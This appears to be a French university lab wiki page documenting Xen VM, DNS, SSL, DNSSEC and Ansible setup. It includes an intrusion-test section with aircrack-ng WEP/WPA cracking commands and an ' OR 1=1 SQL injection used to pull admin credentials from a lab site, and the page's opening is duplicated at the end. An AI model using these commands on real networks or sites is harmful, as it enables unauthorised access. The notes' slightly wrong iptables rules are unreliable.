On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
<br />
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html<br />
<br />
=Securisation du DNS avec DNSSEC =<br />
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec <br />
dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club<br />
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club<br />
<br />
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private} <br />
on ajoute dans /etc/bind/db.corona59.club :<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-ksk.key"<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-zsk.key"<br />
<br />
On signe avec la commande :<br />
dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk<br />
<br />
on obtient :<br />
Verifying the zone using the following algorithms:<br />
- NSEC3RSASHA1<br />
Zone fully signed:<br />
Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked<br />
ZSKs: 1 active, 0 stand-by, 0 revoked<br />
../db.corona59.club.signed<br />
<br />
ainsi qu'un fichier que l'on renomme en corona59.club.signed<br />
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :<br />
zone "corona59.club" {<br />
type master;<br />
file "/etc/bind/corona59.club.dnssec/corona59.club.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.<br />
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.<br />
<br />
=TP ASR=<br />
==Setup SSH==<br />
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'<br />
on définit une clé SSH et créé un environnement python virtuel : <br />
$ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P ''<br />
<br />
$ python3 -m venv ~/env-ansible<br />
$ . ~/env-ansible/bin/activate<br />
$ pip3 install -U setuptools wheel<br />
$ pip3 install -U ansible<br />
<br />
puis <br />
$ ansible-playbook -v -i inventory polytech.yaml<br />
<br />
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :<br />
$ cd /etc/xen<br />
$ xen create pra-11.cfg<br />
$ xen console pra-11<br />
<br />
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:<br />
auto eth0<br />
iface eth0 inet static <br />
address 172.26.145.111<br />
netmask 255.255.255.0<br />
network 172.26.145.0<br />
gateway 172.26.145.254<br />
<br />
On <br />
<br />
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.<br />
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.<br />
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.<br />
---<br />
- hosts: all<br />
roles:<br />
# installs the `ssh_keys` role onto the targetted host<br />
- role: ssh_key<br />
tags: ssh_key<br />
<br />
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)<br />
PRA-11 ansible_ssh_host="172.26.145.111"<br />
<br />
<br />
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière<br />
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :<br />
#<br />
# /etc/apt/sources.list<br />
#<br />
#<br />
# bullseye<br />
#<br />
deb http://deb.debian.org/debian bullseye main contrib non-free<br />
deb-src http://deb.debian.org/debian bullseye main contrib non-free<br />
# <br />
# Security updates<br />
# <br />
deb http://security.debian.org/debian-security bullseye-security main contrib non-free<br />
<br />
On installe enfin python3 sur la VM, nécessaire pour le déploiment.<br />
<br />
==Setup Docker==<br />
On installe docker grâce à la commande <br />
$ ansible-galaxy install geerlingguy.docker<br />
<br />
on ajoute alors a polytech.yaml : <br />
- role: geerlingguy.docker<br />
tags: docker<br />
<br />
==Ip table==<br />
On souhaite fermer les ports réservés à Consul. Pour cela, on utilise iptable.<br />
On créé un role dédié, nommé firewall.<br />
main.yml de firexall : <br />
---<br />
- name: "Block TCP"<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
source_port: " < notextile >{< /notextile >{< notextile >{< /notextile > item < notextile >}}< /notextile >"<br />
protocol: tcp<br />
match: tcp<br />
jump: DROP<br />
become: yes<br />
with_items:<br />
- "8600"<br />
- "8500"<br />
- "8501"<br />
- "8502"<br />
- "8300"<br />
- "8301"<br />
- "8302"<br />
- name: "Block UDP"<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
source_port: "{{ item }}"<br />
protocol: tcp<br />
match: tcp<br />
jump: DROP<br />
become: yes<br />
with_items:<br />
- "8600"<br />
- "8301"<br />
- "8302"</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=58003TP sysres IMA5 2021/2022 G112022-01-12T12:32:20Z<p>Cgodet1 : /* Ip table */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
